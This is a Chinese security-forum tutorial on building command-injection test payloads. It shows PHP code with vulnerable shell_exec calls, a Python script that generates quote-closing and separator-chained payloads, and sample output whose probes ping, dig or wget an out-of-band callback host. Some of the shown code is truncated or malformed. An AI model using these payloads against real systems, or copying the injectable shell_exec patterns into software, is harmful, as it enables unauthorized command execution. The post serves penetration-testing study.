【独家】关于命令注入的测试payload生成

jax777 / 2016-12-17 01:00:00 / 浏览数 4485 安全技术 漏洞分析 顶(0) 踩(0)

关于命令注入的测试payload生成

示例

```
<?php
$site = $_GET["site"];
$command = 'ping '.$site;
$out = shell_exec($command)
echo $out;
?>
```

以上代码存在明显命令注入漏洞

简单构造 `site=xx.com;attack;` 即可达到执行任意attack命令的目的

再看一个近期抓到的实例

```
<!--?php
//■■■■
$in_url = $_GET["inurl"];
$data_base = $_GET["database"];
#echo $data_base;
#$data_base = urldecode($data_base);
$port = $_GET["port"];
$circle_num = $_GET["circle_num"]
$charset = $_GET["charsets"];
#echo $data_base;
$exec_path = dirname(__FILE__);
$out = shell_exec("cd " .$exec_path. "; sh fgrep_union.sh \"" .$in_url."\" \"".$data_base."\" \"".$port."\" \"".$circle_num."\
echo $out;
?>
```

这个点显然是存在命令注入的，可以明显的看出上一个的简单payload就不再适用了。
可以看出这里字符拼接时前后都用双引号包裹了，要实现注入首先要前后闭合。
例如下面这样的payload `inurl=xxx&quot;;command;&quot;xxx`

一般化

- 思考一下上述payload由哪些部分组成

前缀	PREFIX	xxx
闭合	close	"
命令拼接	cmd_char	;
执行语句	COMMAND	attack
命令拼接	cmd_char	;
闭合	close	"
后缀	PREFIX	xxx

上述各个部分就组成了一个基本测试payload。
这样看来第一个payload就是上面组成的简化，如不需要闭合，以及后缀可以看作空字符。

这里还缺了一个最重要的部分，要执行的命令command。

- 考虑command组成

测试时为了通用性，测出无回显的命令注入，一般会将结果通过第三方信道带回查看，如通过dns或http请求带回。（请求cloudeye）
例如

```
wget xxx.myeye
ping p.myeye
```

不难看出可以如下区分

命令	cmd	wget
分隔符	cmd_sep	空格
参数	my_cloudeye	xxx.myeye

下面要做的就是给各个组成部分填空

- 填空

- 前缀后缀 明显是一个字符串，有时还可为空字符。

- 闭合 目的是为了保证语法正确，可能取值有单引号 双引号 以及 空字符

- 命令拼接 考虑shell的语法有如下几种 | ; & 反引号 换行符 $()

- 命令cmd 基本的产生http或dns请求的命令 如 wget curl ping dig

- 分隔符 cmd_sep 常见的空格 tab键 以及${IFS} （利用环境变量获得分隔符）

- 参数 my_cloudeye 自己的cloudeye 标记

PREFIX	xxx	
close	' '	空字符
cmd_char	;	管道符 & 反引号 换行符 $()
PREFIX	xxx	
cmd	wget ping curl dig	
cmd_sep	空格 tab ${IFS}	
my_cloudeye	xxx.myeye	

生成脚本

下面给出一个payload生成的脚本

```
#!/usr/bin/env python
# -*- encoding: utf-8 -*-
# __author__ jax777

PREFIX = 'da.gg.com'
SUFFIX = 'da.gg.com'
cmd_sep = [
'${IFS}',
'    ',
' '
]


cmd_char = [
#{CMDCHAR}
['`','`'],
['$(',')'],
[';',';'],
['|','|'],
['&','&'],
['%0a','%0a'],


]

close = [
#{CLOSE}
"\'",
'"',
''
]

cmd = [
'ping',
'dig',
```

```
'wget'
]


payload = []
payload.append('{COMMAND}'+'{CMDSEP}'+'{my_cloudeye}')
for b in cmd_char:
payload.append(b[0]+'{COMMAND}'+'{CMDSEP}'+'{my_cloudeye}'+b[1])
for c in close:
payload.append(PREFIX+c+b[0]+'{COMMAND}'+'{CMDSEP}'+'{my_cloudeye}'+b[1]+c+SUFFIX)


i = 1
for e in cmd:
for a in cmd_sep:
if '${IFS}' == a and 'ping' in e:
pass
else:
for _ in payload:
_=_.replace('{COMMAND}', e)
_=_.replace('{CMDSEP}', a)
_=_.replace('{my_cloudeye}',str(i)+".{my_cloudeye}")
i = i + 1
print _
```

运行结果如下 发送payload时将{my_cloudeye}替换成自己的接收地址即可

```
ping    1.{my_cloudeye}
`ping    2.{my_cloudeye}`
da.gg.com'`ping    3.{my_cloudeye}`'da.gg.com
da.gg.com"`ping    4.{my_cloudeye}`"da.gg.com
da.gg.com`ping    5.{my_cloudeye}`da.gg.com
$(ping    6.{my_cloudeye})
da.gg.com'$(ping    7.{my_cloudeye})'da.gg.com
da.gg.com"$(ping    8.{my_cloudeye})"da.gg.com
da.gg.com$(ping    9.{my_cloudeye})da.gg.com
......
```

- 自此一个完整的命令注入测试payload就诞生了。

00，请多多指教。

上一篇：某驱动逆向题目调试分析 下一篇：大道至简：探秘智能语义检测引擎的武林

1. 3 条回复


hades 2016-12-17 01:15:45

0 回复Ta


笑然 2016-12-18 03:05:41

文章不错

0 回复Ta


风之传说 2017-01-04 07:25:38

文章思路非常好。但是还是希望能够总结一点最常见的payloads。这样便于效率的提升。

0 回复Ta

登录 后跟帖

先知社区

现在登录

热门节点

技术文章

社区小黑板

目录

RSS 关于社区 友情链接 社区小黑板